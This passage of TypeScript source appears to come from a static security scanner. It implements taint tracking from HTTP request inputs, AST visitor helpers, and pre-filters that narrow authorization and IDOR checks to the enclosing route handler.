TAINTED_PROP_SUFFIXES = new Set([\n \"body\",\n \"query\",\n \"params\",\n \"headers\",\n \"cookies\",\n \"queryStringParameters\",\n \"pathParameters\",\n \"rawBody\",\n \"searchParams\",\n]);\n\n/** Objects whose request-like properties we treat as taint sources. */\nconst TAINTED_REQUEST_OBJECTS = new Set([\n \"req\",\n \"request\",\n \"ctx\", // Koa\n \"context\", // Koa alt\n \"event\", // Lambda\n]);\n\n// ── Taint-PRESERVING calls ──────────────────────────────────────────────\n// These don't *create* taint; they carry existing taint from an argument to\n// the return value. Because they only matter when the input is already\n// user-influenced, the false-positive surface is bounded: a downstream sink\n// rule fires only on data that genuinely derived from a tainted source.\n//\n// fs.readFile(<tainted path>) → reading a user-controlled path yields\n// attacker-influenced content\n// csv.parse(<tainted text>) → parsing tainted text yields tainted rows\n// (parsing is not sanitizing)\n\n/** Content read from a tainted (user-controlled) path is tainted. */\nconst FS_READ_METHODS = new Set([\"readFile\", \"readFileSync\"]);\n\n/** Parser namespaces whose `.parse(<tainted>)` preserves taint. */\nconst PARSE_OBJECTS = new Set([\n \"JSON\",\n \"csv\",\n \"papa\",\n \"Papa\",\n \"yaml\",\n \"YAML\",\n \"toml\",\n \"qs\",\n \"querystring\",\n]);\n/** Bare parser fns (e.g. csv-parse/sync default export `parse`). */\nconst PARSE_BARE = new Set([\"parse\", \"parseSync\"]);\n\n/** Array iteration methods whose callback element param inherits the receiver's taint. */\nconst ARRAY_ELEMENT_METHODS = new Set([\n \"map\",\n \"filter\",\n \"forEach\",\n \"find\",\n \"findIndex\",\n \"flatMap\",\n \"some\",\n \"every\",\n]);\n/** reduce/reduceRight pass the element as the SECOND callback param. */\nconst ARRAY_REDUCE_METHODS = new Set([\"reduce\", \"reduceRight\"]);\n\n/**\n * Call expressions that PRESERVE existing taint from an argument to the return\n * value. `rec` is the caller's taint predicate (so this works for both the\n * seeding pass and the query-time map). Returns true only when a non-spread\n * argument is already tainted — these never originate taint.\n */\nfunction callPreservesTaint(\n node: CallExpression,\n rec: (n: Node | null | undefined) => boolean,\n): boolean {\n const callee = node.callee;\n const anyArgTainted = () =>\n node.arguments.some((a) => a.type !== \"SpreadElement\" && rec(a as Node));\n if (callee.type === \"MemberExpression\" && callee.property.type === \"Identifier\") {\n const pname = callee.property.name;\n if (FS_READ_METHODS.has(pname)) return anyArgTainted();\n if (pname === \"parse\" || pname === \"parseSync\") {\n const obj = callee.object;\n if (obj.type === \"Identifier\" && PARSE_OBJECTS.has(obj.name)) return anyArgTainted();\n }\n }\n if (callee.type === \"Identifier\") {\n if (FS_READ_METHODS.has(callee.name)) return anyArgTainted();\n if (PARSE_BARE.has(callee.name)) return anyArgTainted();\n }\n return false;\n}\n\n// ── One-hop inter-procedural taint ──────────────────────────────────────\n// We summarize same-file helper functions whose parameters flow RAW into a\n// builder-shaped return (a template literal, `+` concatenation, or object/\n// array spread). A tainted argument to such a helper taints the call result.\n//\n// This is intentionally narrow because inter-procedural taint is the classic\n// SAST false-positive source. We follow ONLY the \"this helper builds a\n// string/object out of an unmodified parameter\" pattern — the genuinely\n// dangerous case. We deliberately do NOT follow:\n// - bare `return p` (validators: `if (!ok(p)) throw; return p`)\n// - `return sanitize(p)` (the param is consumed by another call that\n// may clean it — wrapping breaks the chain)\n// so a helper that validates or escapes its input is not treated as a\n// passthrough. Cross-file flow and method calls remain out of scope.\n\n/** `p` appears as a raw identifier or a member access rooted at it. */\nfunction isParamDerived(n: Node | null | undefined, p: string): boolean {\n if (!n) return false;\n if (n.type === \"Identifier\") return n.name === p;\n if (n.type === \"MemberExpression\") return isParamDerived(n.object, p);\n return false;\n}\n\n/** True if `p` flows raw into a string/object BUILDER shape in `n`. */\nfunction formattedFlow(n: Node | null | undefined, p: string): boolean {\n if (!n) return false;\n switch (n.type) {\n case \"TemplateLiteral\":\n return n.expressions.some(\n (e) => isParamDerived(e as Node, p) || formattedFlow(e as Node, p),\n );\n case \"BinaryExpression\":\n if (n.operator !== \"+\") return false;\n return (\n isParamDerived(n.left, p) ||\n isParamDerived(n.right, p) ||\n formattedFlow(n.left, p) ||\n formattedFlow(n.right, p)\n );\n case \"ObjectExpression\":\n return n.properties.some(\n (pr) => pr.type === \"SpreadElement\" && isParamDerived(pr.argument as Node, p),\n );\n case \"ArrayExpression\":\n return n.elements.some(\n (el) => el != null && el.type === \"SpreadElement\" && isParamDerived(el.argument as Node, p),\n );\n case \"ConditionalExpression\":\n return formattedFlow(n.consequent, p) || formattedFlow(n.alternate, p);\n case \"AwaitExpression\":\n return formattedFlow(n.argument, p);\n default:\n return false;\n }\n}\n\n/** Collect a function's return arguments without descending into nested fns. */\nfunction collectReturnArgs(fn: Node): Node[] {\n const out: Node[] = [];\n if (fn.type === \"ArrowFunctionExpression\" && fn.body.type !== \"BlockStatement\") {\n out.push(fn.body as Node);\n return out;\n }\n const visit = (n: unknown): void => {\n if (!n || typeof n !== \"object\") return;\n const node = n as Node & Record<string, unknown>;\n if (typeof node.type !== \"string\") return;\n if (node.type === \"ReturnStatement\") {\n const arg = (node as { argument?: Node }).argument;\n if (arg) out.push(arg);\n return;\n }\n // A nested function has its own returns — don't attribute them to `fn`.\n if (\n node.type === \"FunctionDeclaration\" ||\n node.type === \"FunctionExpression\" ||\n node.type === \"ArrowFunctionExpression\"\n ) {\n return;\n }\n for (const key of Object.keys(node)) {\n const v = node[key];\n if (Array.isArray(v)) v.forEach(visit);\n else visit(v);\n }\n };\n visit((fn as { body?: Node }).body);\n return out;\n}\n\n/** Param indices that flow raw into a builder-shaped return. */\nfunction computePassthrough(fn: Node): Set<number> {\n const params = (fn as { params?: Node[] }).params ?? [];\n const returns = collectReturnArgs(fn);\n const out = new Set<number>();\n for (let i = 0; i < params.length; i++) {\n const param = params[i];\n if (param.type !== \"Identifier\") continue;\n const name = param.name;\n if (returns.some((r) => formattedFlow(r, name))) out.add(i);\n }\n return out;\n}\n\nexport interface TaintMap {\n /** true iff the given expression node evaluates to tainted data. */\n isTainted(node: Node | null | undefined): boolean;\n /** true iff the named identifier is bound to tainted data somewhere visible. */\n isTaintedIdent(name: string): boolean;\n /** Debug: all identifiers the analysis marked tainted, in discovery order. */\n taintedNames(): string[];\n}\n\n/**\n * Build a TaintMap for one parsed file. Single traversal, propagates taint\n * through:\n * - const/let bindings: const x = req.body.foo → x tainted\n * - destructuring: const { foo } = req.body → foo tainted\n * - assignment expressions: y = x; x is tainted → y tainted\n * - function params named req/request/ctx (inside handlers, `req.body` is\n * tainted even if we didn't see the outer binding)\n */\nexport function buildTaintMap(parsed: ParsedFile): TaintMap {\n const tainted = new Set<string>();\n\n /** Mark a binding target (Identifier / ObjectPattern / ArrayPattern) tainted. */\n function markPatternTainted(target: Node): void {\n if (target.type === \"Identifier\") {\n tainted.add(target.name);\n } else if (target.type === \"ObjectPattern\") {\n for (const prop of target.properties) {\n if (prop.type === \"ObjectProperty\" && prop.value.type === \"Identifier\") {\n tainted.add(prop.value.name);\n } else if (prop.type === \"RestElement\" && prop.argument.type === \"Identifier\") {\n tainted.add(prop.argument.name);\n }\n }\n } else if (target.type === \"ArrayPattern\") {\n for (const el of target.elements) {\n if (el && el.type === \"Identifier\") tainted.add(el.name);\n else if (el && el.type === \"RestElement\" && el.argument.type === \"Identifier\") {\n tainted.add(el.argument.name);\n }\n }\n }\n }\n\n /** Does this expression reach a request-like identifier through `.request`? */\n function reachesRequestIdent(node: Node | null | undefined): boolean {\n if (!node) return false;\n if (node.type === \"Identifier\") return TAINTED_REQUEST_OBJECTS.has(node.name);\n if (node.type === \"MemberExpression\") {\n // ctx.request, context.request — step through\n if (\n node.property.type === \"Identifier\" &&\n node.property.name === \"request\" &&\n node.object.type === \"Identifier\" &&\n TAINTED_REQUEST_OBJECTS.has(node.object.name)\n ) {\n return true;\n }\n return reachesRequestIdent(node.object);\n }\n return false;\n }\n\n function nodeIsTaintedSource(node: Node | null | undefined): boolean {\n if (!node) return false;\n // req.body / request.query / ctx.request.body / event.body / searchParams\n if (node.type === \"MemberExpression\") {\n const prop = node.property;\n const propName =\n prop.type === \"Identifier\"\n ? prop.name\n : prop.type === \"StringLiteral\"\n ? prop.value\n : \"\";\n\n if (TAINTED_PROP_SUFFIXES.has(propName)) {\n // Anchor object must be a known request-like identifier, a\n // ctx.request-style two-hop path, or another tainted-source\n // expression (req.query.x, ctx.request.body.user).\n const obj = node.object;\n if (obj.type === \"Identifier\" && TAINTED_REQUEST_OBJECTS.has(obj.name)) {\n return true;\n }\n if (reachesRequestIdent(obj)) return true;\n if (nodeIsTaintedSource(obj)) return true;\n }\n\n // process.argv handled as a special case here since it doesn't fit\n // the request-object / tainted-suffix shape.\n if (\n node.object.type === \"Identifier\" &&\n node.object.name === \"process\" &&\n prop.type === \"Identifier\" &&\n prop.name === \"argv\"\n ) {\n return true;\n }\n\n // req.body.foo — any descendant of a tainted source is tainted.\n if (nodeIsTaintedSource(node.object)) return true;\n return false;\n }\n\n // Method calls: e.g. searchParams.get(\"foo\"), url.searchParams.get(...)\n if (node.type === \"CallExpression\") {\n const callee = node.callee;\n if (\n callee.type === \"MemberExpression\" &&\n callee.property.type === \"Identifier\" &&\n callee.property.name === \"get\" &&\n nodeIsTaintedSource(callee.object)\n ) {\n return true;\n }\n\n // Next.js / Web Fetch API body readers:\n // await request.json()\n // await request.formData()\n // await request.text()\n // await request.arrayBuffer()\n // await request.blob()\n // The request object is the one Next.js hands to a route handler; its\n // body is attacker-controlled.\n const BODY_READERS = new Set([\"json\", \"formData\", \"text\", \"arrayBuffer\", \"blob\"]);\n if (\n callee.type === \"MemberExpression\" &&\n callee.property.type === \"Identifier\" &&\n BODY_READERS.has(callee.property.name)\n ) {\n const obj = callee.object;\n if (obj.type === \"Identifier\" && TAINTED_REQUEST_OBJECTS.has(obj.name)) {\n return true;\n }\n if (reachesRequestIdent(obj)) return true;\n }\n }\n\n // `await <tainted-expr>` — unwrap the AwaitExpression and propagate.\n if (node.type === \"AwaitExpression\") {\n return nodeIsTaintedSource(node.argument);\n }\n\n return false;\n }\n\n /** Does this expression (not just a MemberExpression) produce tainted data? */\n function exprIsTainted(node: Node | null | undefined): boolean {\n if (!node) return false;\n if (nodeIsTaintedSource(node)) return true;\n if (node.type === \"Identifier\") return tainted.has(node.name);\n if (node.type === \"TemplateLiteral\") {\n return node.expressions.some((e) => exprIsTainted(e as Node));\n }\n if (node.type === \"BinaryExpression\" && node.operator === \"+\") {\n return exprIsTainted(node.left) || exprIsTainted(node.right);\n }\n if (node.type === \"LogicalExpression\" && (node.operator === \"||\" || node.operator === \"??\")) {\n return exprIsTainted(node.left) || exprIsTainted(node.right);\n }\n if (node.type === \"ConditionalExpression\") {\n return exprIsTainted(node.consequent) || exprIsTainted(node.alternate);\n }\n if (node.type === \"MemberExpression\") {\n return exprIsTainted(node.object);\n }\n if (node.type === \"CallExpression\") {\n // Body-reader calls: await request.json() — taint the whole call.\n if (nodeIsTaintedSource(node)) return true;\n // Taint-preserving calls: fs.readFile(tainted), csv.parse(tainted).\n if (callPreservesTaint(node, exprIsTainted)) return true;\n // One-hop helper: build(tainted) where build interpolates its param.\n if (localCallPropagates(node, exprIsTainted)) return true;\n if (node.callee.type === \"MemberExpression\") {\n if (exprIsTainted(node.callee.object)) return true;\n // Known passthroughs that propagate taint from args to return:\n // path.join / resolve / normalize / format / parse / relative.\n const obj = node.callee.object;\n const prop = node.callee.property;\n if (\n prop.type === \"Identifier\" &&\n obj.type === \"Identifier\" &&\n obj.name === \"path\" &&\n [\"join\", \"resolve\", \"normalize\", \"format\", \"parse\", \"relative\"].includes(prop.name)\n ) {\n return node.arguments.some((a) => a.type !== \"SpreadElement\" && exprIsTainted(a as Node));\n }\n // Buffer.from(x) / Buffer.concat([tainted]) etc. — propagate.\n if (\n prop.type === \"Identifier\" &&\n obj.type === \"Identifier\" &&\n obj.name === \"Buffer\" &&\n [\"from\", \"concat\", \"alloc\", \"allocUnsafe\"].includes(prop.name)\n ) {\n return node.arguments.some((a) => a.type !== \"SpreadElement\" && exprIsTainted(a as Node));\n }\n }\n // Coercion wrappers (String/Number/URL/etc. called as bare identifiers)\n if (node.callee.type === \"Identifier\") {\n if ([\"String\", \"Number\", \"Boolean\", \"URL\", \"URLSearchParams\"].includes(node.callee.name)) {\n return node.arguments.some((a) => a.type !== \"SpreadElement\" && exprIsTainted(a as Node));\n }\n }\n }\n if (node.type === \"AwaitExpression\") {\n return exprIsTainted(node.argument);\n }\n // Spread of a tainted value into a literal: { ...tainted } / [ ...tainted ].\n if (node.type === \"ArrayExpression\") {\n return node.elements.some(\n (el) => el != null && el.type === \"SpreadElement\" && exprIsTainted(el.argument as Node),\n );\n }\n if (node.type === \"ObjectExpression\") {\n return node.properties.some(\n (p) => p.type === \"SpreadElement\" && exprIsTainted(p.argument as Node),\n );\n }\n return false;\n }\n\n // Pre-pass: summarize same-file helper functions (declarations and\n // const = arrow/function) by which param indices flow raw into a\n // builder-shaped return. Runs before the seeding traverse; computePassthrough\n // is a pure structural check (no taint queries), so there's no recursion or\n // ordering hazard with exprIsTainted.\n const fnPassthrough = new Map<string, Set<number>>();\n const recordFn = (name: string, fn: Node): void => {\n const pt = computePassthrough(fn);\n if (pt.size > 0) fnPassthrough.set(name, pt);\n };\n traverse(parsed.ast, {\n FunctionDeclaration(path: NodePath) {\n const n = path.node;\n if (n.type === \"FunctionDeclaration\" && n.id && n.id.type === \"Identifier\") {\n recordFn(n.id.name, n);\n }\n },\n VariableDeclarator(path: NodePath) {\n const n = path.node;\n if (n.type !== \"VariableDeclarator\" || n.id.type !== \"Identifier\" || !n.init) return;\n if (n.init.type === \"ArrowFunctionExpression\" || n.init.type === \"FunctionExpression\") {\n recordFn(n.id.name, n.init);\n }\n },\n });\n\n /** One-hop: a tainted arg at a helper's passthrough index taints the call. */\n function localCallPropagates(\n node: CallExpression,\n rec: (n: Node | null | undefined) => boolean,\n ): boolean {\n if (node.callee.type !== \"Identifier\") return false;\n const pt = fnPassthrough.get(node.callee.name);\n if (!pt) return false;\n return node.arguments.some(\n (a, i) => pt.has(i) && a.type !== \"SpreadElement\" && rec(a as Node),\n );\n }\n\n // Walk once and seed `tainted` with identifier names bound to tainted\n // expressions. We also collect assignment-propagation so `y = x` after\n // `x = req.body.foo` marks y tainted — this takes one pass because Babel\n // visits assignments in source order.\n traverse(parsed.ast, {\n VariableDeclarator(path: NodePath) {\n const node = path.node;\n if (node.type !== \"VariableDeclarator\") return;\n const init = node.init;\n if (!init) return;\n\n // const x = <tainted> → mark x\n if (node.id.type === \"Identifier\") {\n if (exprIsTainted(init)) {\n tainted.add(node.id.name);\n }\n }\n\n // const { a, b: c } = <tainted> → mark a, c\n if (node.id.type === \"ObjectPattern\") {\n const isTainted =\n nodeIsTaintedSource(init) ||\n (init.type === \"Identifier\" && tainted.has(init.name));\n if (isTainted) {\n for (const prop of node.id.properties) {\n if (prop.type === \"ObjectProperty\") {\n if (prop.value.type === \"Identifier\") tainted.add(prop.value.name);\n } else if (prop.type === \"RestElement\") {\n if (prop.argument.type === \"Identifier\") tainted.add(prop.argument.name);\n }\n }\n }\n }\n },\n\n AssignmentExpression(path: NodePath) {\n const node = path.node;\n if (node.type !== \"AssignmentExpression\") return;\n if (node.operator !== \"=\" && node.operator !== \"||=\" && node.operator !== \"??=\") return;\n if (node.left.type !== \"Identifier\") return;\n if (exprIsTainted(node.right)) {\n tainted.add(node.left.name);\n }\n },\n\n // for (const row of <tainted>) → row tainted (and destructured names).\n ForOfStatement(path: NodePath) {\n const node = path.node;\n if (node.type !== \"ForOfStatement\") return;\n if (!exprIsTainted(node.right)) return;\n const decl = node.left;\n const target =\n decl.type === \"VariableDeclaration\" && decl.declarations[0]\n ? decl.declarations[0].id\n : decl;\n markPatternTainted(target);\n },\n\n // Array-iteration element taint: <tainted>.map((row) => …) marks `row`\n // tainted inside the callback. Gated on the receiver already being\n // tainted, so this never originates taint.\n CallExpression(path: NodePath) {\n const node = path.node;\n if (node.type !== \"CallExpression\") return;\n const callee = node.callee;\n if (callee.type !== \"MemberExpression\" || callee.property.type !== \"Identifier\") return;\n const method = callee.property.name;\n const isReduce = ARRAY_REDUCE_METHODS.has(method);\n if (!ARRAY_ELEMENT_METHODS.has(method) && !isReduce) return;\n if (!exprIsTainted(callee.object)) return;\n const cb = node.arguments[0];\n if (!cb || (cb.type !== \"ArrowFunctionExpression\" && cb.type !== \"FunctionExpression\")) return;\n const elemParam = cb.params[isReduce ? 1 : 0]; // reduce: (acc, element)\n if (elemParam) markPatternTainted(elemParam as Node);\n },\n });\n\n const isTainted = (node: Node | null | undefined): boolean => {\n if (!node) return false;\n if (node.type === \"Identifier\") return tainted.has(node.name);\n if (nodeIsTaintedSource(node)) return true;\n // Template literals / string concat with a tainted piece.\n if (node.type === \"TemplateLiteral\") {\n return node.expressions.some((e) => isTainted(e as Node));\n }\n if (node.type === \"BinaryExpression\" && node.operator === \"+\") {\n return isTainted(node.left) || isTainted(node.right);\n }\n // Logical expressions (next || \"/dashboard\", value ?? fallback) —\n // if either operand is tainted, the result can carry that value.\n if (\n node.type === \"LogicalExpression\" &&\n (node.operator === \"||\" || node.operator === \"??\" || node.operator === \"&&\")\n ) {\n return isTainted(node.left) || isTainted(node.right);\n }\n // Ternary: condition ? tainted : safe → could still return tainted.\n if (node.type === \"ConditionalExpression\") {\n return isTainted(node.consequent) || isTainted(node.alternate);\n }\n // Unwrap await expressions transparently.\n if (node.type === \"AwaitExpression\") {\n return isTainted(node.argument);\n }\n // Nested member access on a tainted root.\n if (node.type === \"MemberExpression\") {\n return isTainted(node.object);\n }\n // Call on a tainted receiver (e.g., `tainted.toString()` is still tainted).\n if (node.type === \"CallExpression\") {\n // Taint-preserving calls: fs.readFile(tainted), csv.parse(tainted).\n if (callPreservesTaint(node, isTainted)) return true;\n // One-hop helper: build(tainted) where build interpolates its param.\n if (localCallPropagates(node, isTainted)) return true;\n if (node.callee.type === \"MemberExpression\") {\n if (isTainted(node.callee.object)) return true;\n // Known passthrough calls: path.join/resolve/normalize/format etc.\n // propagate taint from any argument to the return value. Without\n // this, `path.join(BASE, tainted)` silently cleans the taint and\n // path-traversal rules don't fire on the classic `fs.readFile(\n // path.join(dir, req.query.file)` shape.\n const obj = node.callee.object;\n const prop = node.callee.property;\n if (\n prop.type === \"Identifier\" &&\n obj.type === \"Identifier\" &&\n obj.name === \"path\" &&\n [\"join\", \"resolve\", \"normalize\", \"format\", \"relative\", \"parse\"].includes(prop.name)\n ) {\n return node.arguments.some((a) => a.type !== \"SpreadElement\" && isTainted(a as Node));\n }\n // Buffer.from(x) / Buffer.concat([...]) — member-expression wrappers\n // that propagate taint from any argument. Without this, wrapping a\n // tainted string in Buffer.from silently cleans it.\n if (\n prop.type === \"Identifier\" &&\n obj.type === \"Identifier\" &&\n obj.name === \"Buffer\" &&\n [\"from\", \"concat\", \"alloc\", \"allocUnsafe\"].includes(prop.name)\n ) {\n return node.arguments.some((a) => a.type !== \"SpreadElement\" && isTainted(a as Node));\n }\n }\n // Coercion-style wrappers called as bare identifiers: String(x),\n // Number(x), URL(x), etc.\n if (node.callee.type === \"Identifier\") {\n if ([\"String\", \"Number\", \"Boolean\", \"URL\", \"URLSearchParams\"].includes(node.callee.name)) {\n return node.arguments.some((a) => a.type !== \"SpreadElement\" && isTainted(a as Node));\n }\n }\n }\n // Spread of a tainted value into a literal: { ...tainted } / [ ...tainted ].\n if (node.type === \"ArrayExpression\") {\n return node.elements.some(\n (el) => el != null && el.type === \"SpreadElement\" && isTainted(el.argument as Node),\n );\n }\n if (node.type === \"ObjectExpression\") {\n return node.properties.some(\n (p) => p.type === \"SpreadElement\" && isTainted(p.argument as Node),\n );\n }\n return false;\n };\n\n return {\n isTainted,\n isTaintedIdent: (name: string) => tainted.has(name),\n taintedNames: () => Array.from(tainted),\n };\n}\n","/**\n * Visitor helpers for rule authors. Each helper takes a parsed file and a\n * callback, and walks the AST in the most common pattern (find call\n * expressions to a particular function, find member expressions of a\n * particular shape, etc.).\n *\n * The rule code stays short and declarative; this file carries the\n * @babel/traverse boilerplate and default-export interop.\n */\nimport type { BinaryExpression, CallExpression, Node, ObjectExpression, SpreadElement } from \"@babel/types\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type { ParsedFile } from \"./parse.js\";\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/**\n * Visit every BinaryExpression in the parsed file. Rule authors use this to\n * catch `a === b` / `a !== b` comparisons where one side is a secret identifier.\n */\nexport function visitBinary(\n parsed: ParsedFile,\n visit: (node: BinaryExpression, line: number) => void,\n): void {\n traverse(parsed.ast, {\n BinaryExpression(path) {\n const line = path.node.loc?.start.line ?? 1;\n visit(path.node, line);\n },\n });\n}\n\n/**\n * Visit every CallExpression. `matchCallee` decides whether to surface the\n * call; if it returns true, `visit` is invoked with the node and its\n * 1-indexed source line.\n */\nexport function visitCalls(\n parsed: ParsedFile,\n matchCallee: (callee: Node) => boolean,\n visit: (call: CallExpression, line: number) => void,\n): void {\n traverse(parsed.ast, {\n CallExpression(path) {\n const node = path.node;\n if (!matchCallee(node.callee)) return;\n const line = node.loc?.start.line ?? 1;\n visit(node, line);\n },\n });\n}\n\n/**\n * \"Does this callee resolve to a member/global named <name>?\" — handles\n * foo(x)\n * obj.foo(x)\n * a.b.foo(x)\n * foo?.(x)\n * Matches the terminal identifier only; doesn't bind to a specific receiver.\n */\nexport function isCalleeNamed(callee: Node, name: string): boolean {\n if (callee.type === \"Identifier\") return callee.name === name;\n if (callee.type === \"MemberExpression\" && callee.property.type === \"Identifier\") {\n return callee.property.name === name;\n }\n if (callee.type === \"OptionalMemberExpression\" && callee.property.type === \"Identifier\") {\n return callee.property.name === name;\n }\n return false;\n}\n\n/**\n * Matches a call to `objName.methodName(...)` — useful for things like\n * `_.merge`, `Object.assign`, `Handlebars.compile`, `libxml.parseXml`.\n */\nexport function isMethodCall(callee: Node, objName: string, methodName: string): boolean {\n if (callee.type !== \"MemberExpression\" && callee.type !== \"OptionalMemberExpression\") {\n return false;\n }\n if (callee.property.type !== \"Identifier\") return false;\n if (callee.property.name !== methodName) return false;\n if (callee.object.type !== \"Identifier\") return false;\n return callee.object.name === objName;\n}\n\n/** Looks up an ObjectExpression property by key name. */\nexport function getObjectProperty(\n node: ObjectExpression,\n key: string,\n): { value: Node } | null {\n for (const prop of node.properties) {\n if (prop.type === \"ObjectProperty\") {\n if (prop.key.type === \"Identifier\" && prop.key.name === key) {\n return { value: prop.value as Node };\n }\n if (prop.key.type === \"StringLiteral\" && prop.key.value === key) {\n return { value: prop.value as Node };\n }\n }\n }\n return null;\n}\n\n/** Does this CallExpression spread an expression `matcher` returns true for? */\nexport function callSpreads(\n call: CallExpression,\n matcher: (node: Node) => boolean,\n): boolean {\n for (const arg of call.arguments) {\n if (arg.type === \"SpreadElement\") {\n if (matcher((arg as SpreadElement).argument as Node)) return true;\n }\n // Direct Object spread inside an object-literal argument:\n // fn({ ...req.body })\n if (arg.type === \"ObjectExpression\") {\n for (const prop of arg.properties) {\n if (prop.type === \"SpreadElement\") {\n if (matcher((prop as SpreadElement).argument as Node)) return true;\n }\n }\n }\n }\n return false;\n}\n","import type { CustomRule, Finding, RuleMatch } from \"./types.js\";\nimport { getSnippet, lineNumberAt } from \"./snippet.js\";\nimport { supabaseFunctionName, type ProjectContext } from \"./project-context.js\";\nimport { isInlineSilenced, isLineSilenced } from \"./silencing.js\";\nimport { isVendoredPath, isVendoredFinding } from \"./vendored.js\";\nimport {\n parseFile,\n buildTaintMap,\n visitCalls,\n visitBinary,\n isCalleeNamed,\n isMethodCall,\n getObjectProperty,\n callSpreads,\n type ParsedFile,\n type TaintMap,\n} from \"./ast/index.js\";\nimport type { Node } from \"@babel/types\";\n\n// ────────────────────────────────────────────\n// GLOBAL PRE-FILTERS\n// Reduces false positives before any rule runs\n// ────────────────────────────────────────────\n\n// Broad test/mock/fixture file detection\nexport const TEST_FILE_PATTERN = /(?:\\.test\\.|\\.spec\\.|__tests__|__mocks__|\\.stories\\.|\\.story\\.|\\/test\\/|\\/tests\\/|\\/fixtures?\\/|\\/mocks?\\/|\\.mock\\.|test-utils|testing|\\.cy\\.|\\.e2e\\.)/i;\n\nexport function isTestFile(filePath: string): boolean {\n return TEST_FILE_PATTERN.test(filePath);\n}\n\n// Looks like the header of a function or route handler, checked against the\n// ~240 characters preceding a block's opening brace.\nconst HANDLER_HEADER_RE =\n /(?:\\b(?:async\\s+)?function\\b|=>\\s*$|=>\\s*\\{?\\s*$|\\.(?:get|post|put|patch|delete|use|all)\\s*\\(|\\bexport\\s+(?:async\\s+)?(?:function|const)\\s+(?:GET|POST|PUT|PATCH|DELETE)\\b|\\b(?:Deno\\.)?serve\\s*\\()/i;\n\n/**\n * Blank out comments while preserving every byte offset and newline.\n *\n * The usual `codeOnly` idiom in this file DELETES comments, which shifts every\n * index after the first one — fine for rules that only ask \"does this token\n * appear?\", useless for anything that reports a line number or slices a scope\n * by index.\n *\n * Needed because prose is indistinguishable from code to a regex. A clean\n * fixture written as `// Sequelize .find({ where }) scoped by the owner` had\n * its COMMENT matched as the record lookup, so the query scope resolved to\n * `({ where })` — no ownership token, and a correctly-scoped query was\n * reported as an IDOR. Real code is full of comments that quote the code\n * beneath them, so this is not a fixture artefact.\n */\nexport function maskComments(content: string): string {\n return content\n .replace(/\\/\\*[\\s\\S]*?\\*\\//g, (m) => m.replace(/[^\\n]/g, \" \"))\n .replace(/(^|[^:])\\/\\/[^\\n]*/gm, (m, p1: string) => p1 + \" \".repeat(m.length - p1.length));\n}\n\n/**\n * Return the source of the handler enclosing `index`, or null if none is found.\n *\n * WHY THIS EXISTS. VC003 and VC158 both decided \"is this route protected?\" by\n * grepping the ENTIRE FILE for auth or ownership vocabulary. A single matching\n * token anywhere in a file exempted every handler in it, no matter how far away\n * the token was or what it was doing.\n *\n * The held-out DVNA IDOR case is the clean demonstration. Its vulnerable\n * handler runs `db.User.find({ where: { 'id': req.body.id } })` with no\n * ownership scoping at all — but a DIFFERENT function in the same file calls\n * `res.render('app/useredit', { userId: req.user.id })`. The whole-file greps\n * saw `userId` and `req.user`, concluded the file was safe, and returned before\n * reaching any detection logic.\n *\n * The distinction the fixtures already encode is proximity, not vocabulary:\n * clean/VC158-express-ownership-check scopes with\n * `where: { id: req.params.id, userId: req.user.id }` — the ownership token is\n * INSIDE the query. This narrows the guards to the handler actually performing\n * the lookup, which is the only scope in which \"is ownership enforced here?\"\n * is a meaningful question.\n *\n * Heuristic and deliberately conservative: brace counting, no parser, and it\n * does not understand braces inside strings, template literals or regex\n * literals. When it cannot confidently identify a handler it returns null, and\n * both callers then fall back to whole-file behaviour — so a failure to parse\n * can only preserve today's result, never invent a new finding.\n */\nexport function enclosingHandler(content: string, index: number): string | null {\n const MAX_LEVELS = 6;\n let searchFrom = index;\n\n for (let level = 0; level < MAX_LEVELS; level++) {\n // Walk backwards to the unmatched `{` that opens the block containing us.\n let depth = 0;\n let open = -1;\n for (let i = searchFrom; i >= 0; i--) {\n const c = content[i];\n if (c === \"}\") depth++;\n else if (c === \"{\") {\n if (depth === 0) { open = i; break; }\n depth--;\n }\n }\n if (open === -1) return null;\n\n // Forward to its matching `}`.\n let fwd = 0;\n let close = -1;\n for (let i = open; i < content.length; i++) {\n const c = content[i];\n if (c === \"{\") fwd++;\n else if (c === \"}\") {\n fwd--;\n if (fwd === 0) { close = i; break; }\n }\n }\n if (close === -1 || close < index) return null;\n\n // The header window exists so route registration and middleware arguments\n // (`router.get(\"/x\", requireAuth, (req, res) => {`) count as part of the\n // handler. But a fixed lookback reaches into whatever precedes it, so it\n // is cut at the last `}` or `;` in the window — the end of the previous\n // statement or block.\n //\n // Without that cut, two sibling handlers bleed into each other: given an\n // authenticated GET followed by an unauthenticated DELETE, DELETE's\n // lookback swallowed the tail of GET, found its session check, and\n // declared DELETE authenticated. That is precisely the bug this scoping\n // work exists to fix, reintroduced one level down.\n const rawStart = Math.max(0, open - 240);\n const window = content.slice(rawStart, open);\n const cut = Math.max(window.lastIndexOf(\"}\"), window.lastIndexOf(\";\"));\n const headerStart = cut === -1 ? rawStart : rawStart + cut + 1;\n const header = content.slice(headerStart, open);\n if (HANDLER_HEADER_RE.test(header)) {\n return content.slice(headerStart, close + 1);\n }\n\n // Not a handler (an object literal, an if-block, a class body) — step out.\n searchFrom = open - 1;\n if (searchFrom < 0) return null;\n }\n return null;\n}\n\n// Centralized \"this file looks like server-side code\" heuristic. Used by\n// every rule that gates on \"is this an API/route/handler/middleware file?\"\n// Two shapes:\n// - directory-style: /api/, /routes/, /controllers/, /endpoints/, /handlers/,\n// /middleware/, /webhooks/, /services/, /lambda/, /functions/, /pages/api/,\n// /app/.../route.{js,ts}\n// - bare-filename: routes.js, handler.js, middleware.js, server.js, app.js,\n// index.js, main.js, controller.js, api.js, webhook.js, login.js, auth.js,\n// admin.js, signup.js, register.js, callback.js, oauth.js, ingest.js,\n// create-*.js, update-*.js, delete-*.js, audit.js, etc.\n//\n// The bare-filename branch matters because many small projects organize code\n// flat at the package root rather than under nested route directories. Without\n// this our path filters fired only on conventional layouts and silently dropped\n// findings on minimalist apps and serverless function packages.\nconst SERVER_SIDE_PATH_RE = new RegExp(\n [\n // Directory-style anchors — match with OR without leading slash so\n // relative paths (`routes/users.js`) work as well as absolute.\n \"(?:^|/)api/\",\n \"(?:^|/)routes?/\",\n \"(?:^|/)controllers?/\",\n \"(?:^|/)endpoints?/\",\n \"(?:^|/)handlers?/\",\n \"(?:^|/)middleware/\",\n 